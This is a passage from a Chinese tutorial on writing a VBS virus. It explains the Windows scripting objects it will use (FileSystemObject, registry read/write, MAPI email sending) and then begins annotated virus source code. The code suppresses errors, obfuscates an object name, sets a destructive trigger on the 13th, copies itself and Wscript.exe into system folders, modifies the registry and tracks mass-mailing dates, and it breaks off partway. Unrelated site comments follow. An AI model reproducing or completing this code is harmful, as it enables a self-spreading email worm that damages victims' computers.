第2部分:知识预备
因为这篇文章是介绍怎么用VBS写一个病毒,因此,在正式给出代码之前,很有必要进行一些知识的预备。这部分我将介绍一些我后面给出的代码中将要使用的对象或者说组件,而至于病毒的结构分析我将在给出源代码之后进行。
在WSH所支持的所有对象中,你会发现文件系统对象(FileSystemObject)是最有用的。在VBS中,你只需要一行SetFso=Createobject('Scripting.FileSystemObject')就能请这来个好助手。它支持的方法中,有几个这里简单介绍一下。FileExsits()是判断文件是否存在,存在返回True,否则返回False;GetSpecialFolder()根据参数不同可以得到一些有关系统的目录,比如GetSpecialFolder(0)返回的是Windows的目录;GetFile是从文件系统对象中返回一个文件;Copy实现的是文件的拷贝。
Shell对象也是一个非常有用的东西。它的RegRead和RegWrite方法可以实现对注册表的直接读写。Dirctionary对象对象等价于 PERL联合数组,存储数据键和项目对的对象。目可以是数据的任何形式,并存储在数组中。每个项目都与一个具有唯一性的键相联。该键用于取得单个项目,并且通常是整数或字符串,但也可以是除数组以外的任何类型。比如:
Dim d ' 创建变量。
Set d = CreateObject('Scripting.Dictionary')
d.Add 'a', 'Athens' ' 添加一些关键字和项目。
d.Add 'b', 'Belgrade'
d.Add 'c', 'Cairo'
最后要介绍的是MAPISession对象和MAPIMessages对象。这两个对象在下面的代码中是用来取得当前OE的配置文件并发送Email的。MAPISession对象用于登陆并且建立MAPI会话,它也可以用于退出MAPI会话。而MAPIMessages对象则可以方便地发送、接收和管理消息(也就是Email)。MAPISession的SignOn方法所作的事情是登陆用户到由UserName和Password属性指定的账户中,而在安装了OE的计算机上,UserName和Password实际上默认是OE里面的配置。MAPIMessages的几个属性我将在代码中给出注释。
第3部分:VBS病毒的源代码以及注释
On Error Resume Next '这句很重要,避免出错时弹出提示
Dim Fso,WinPath ' WinPath存放的是系统的安装目录
Set Fso= Createobject('Scripting.' & 'FileSys' &'temObject') '创建FileSystemObject对象
WinPath=GetWindowsPath '取得系统的安装目录
Main '调用主执行子程序
Set Fso=Nothing
Sub Main
Dim Read,RegPath
If Day(Date)=13 Then DoSomeBadThings '如果是13号,则病毒发作
CopySelfToWindowsPath '把自己拷贝到系统安装目录
CopyWscriptToSystem32 '把Wscript.exe拷贝到System32目录
ModifyReg '修改注册表
RegPath='HKCU\SoftWare\Microsoft\' '这里的注册表存放的是上次发送Email的日期
Read = ReadReg(RegPath)
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-24756-1.html
#杨洋icon##杨洋微微一笑很倾城##杨洋肖奈##杨洋轻奢young#看着你慢慢绽放~
中国现在的教授实在无法令人尊敬
声音好苏爱你
以习主席为首的党中央采取一系列的改革措施和发展新思维挑战了美国的地位